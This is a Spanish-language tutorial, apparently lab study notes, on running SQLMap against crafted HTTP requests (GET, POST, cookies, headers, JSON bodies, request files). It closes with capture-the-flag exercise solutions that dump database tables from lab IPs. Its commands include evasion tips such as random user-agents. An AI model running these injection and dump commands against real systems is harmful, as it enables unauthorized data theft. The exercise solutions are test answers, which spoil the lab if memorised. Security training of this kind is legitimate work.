🐍 SQLMap — Ejecutando SQLMap en Peticiones HTTP
SQLMap permite analizar y explotar vulnerabilidades SQLi enviando peticiones HTTP personalizadas (GET, POST, JSON, XML, headers, cookies, métodos alternativos, etc.).
🌐 Configuración de SQLMap en Peticiones HTTP
SQLMap ofrece múltiples opciones para preparar correctamente la petición antes del análisis.
Errores comunes:
-
❌ Olvidar cookies
-
❌ Usar comandos demasiado largos
-
❌ Formatear mal el POST
-
❌ No indicar parámetros vulnerables
📋 Usar Copy as cURL para crear la petición
Desde DevTools (Chrome/Edge/Firefox): Network → clic derecho → Copy as cURL.

Luego solo cambia curl por sqlmap:
sqlmap 'http://www.example.com/?id=1' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0)' \
-H 'Accept: image/webp,*/*' \
--compressed -H 'Connection: keep-alive'
🔍 GET y POST Requests
GET
Se usa -u o --url:
sqlmap -u "http://www.example.com/?id=1"
POST
Con --data:
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
🎯 Fijar un parámetro específico
Si solo quieres probar uid:
sqlmap ... -p uid
O con marcador *:
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
📄 Peticiones HTTP Completas (archivo .txt)
Capturadas desde Burp Suite o desde el navegador (Copy → Copy request headers).
Ejemplo de archivo req.txt:
GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
Ejecutar:
sqlmap -r req.txt
⭐ Marcador dentro del archivo
Puedes marcar el parámetro vulnerable:
/?id=*
🍪 Personalizando Cabeceras y Cookies
Cookie
sqlmap ... --cookie='PHPSESSID=ab4530...'
Usando -H
sqlmap ... -H='Cookie: PHPSESSID=ab4530...'
Otros headers:
-
--host -
--referer -
--user-agent/-A
User-Agent aleatorio
sqlmap ... --random-agent
Simular móvil
sqlmap ... --mobile
🧨 Inyección en Headers
Puedes inyectar con * en cualquier header:
--cookie="id=1*"
🔁 Métodos HTTP alternativos (PUT, etc.)
sqlmap -u www.target.com --data='id=1' --method PUT
🧱 Cuerpos JSON y XML
SQLMap soporta:
-
JSON (
{"id":1}) -
XML (
<id>1</id>)
Caso simple (POST corto)
sqlmap ... --data '{"id":1}'
Caso complejo → usar -r
Archivo req.txt:
POST / HTTP/1.0
Host: www.example.com
{
"data": [{
"type": "articles",
"id": "1",
"attributes": {
"title": "Example JSON",
"body": "Just an example"
}
}]
}
Ejecutar:
sqlmap -r req.txt
🚩 Puntos clave
-
Siempre incluye cookies si la app las necesita
-
Usa
--random-agentpara evitar bloqueos -
Usa archivos con
-rpara peticiones largas -
Marca parámetros con
*para precisión
🧪 Ejercicios Prácticos
📝 Ejercicio 1 — Flag2 (Case #2)
Necesitamos analizar el parámetro POST id.

Comando:
sqlmap -u "http://<target-IP>:<target-port>/case2.php" --data='id=1' --method POST --batch --dump
➡️ Esto devuelve todos los usuarios, incluida la tabla flag2.

📝 Ejercicio 2 — Flag3 (Case #3)
Analizamos la cookie id.
Primero revisamos cabeceras:
curl -i <URL>
El servidor establece:
id=1; path=/case3.php
Ejecutamos:
sqlmap -u "http://94.237.122.188:37676/case3.php" --cookie="id=1*" --batch --dump
➡️ Obtendrás la tabla flag3.
📝 Ejercicio 3 — Flag4 (Case #4)
Capturamos el POST desde el navegador o Burp.

Comando final:
sqlmap -u "http://94.237.58.137:48440/case4.php" --data='{"id":1}' --batch --dump
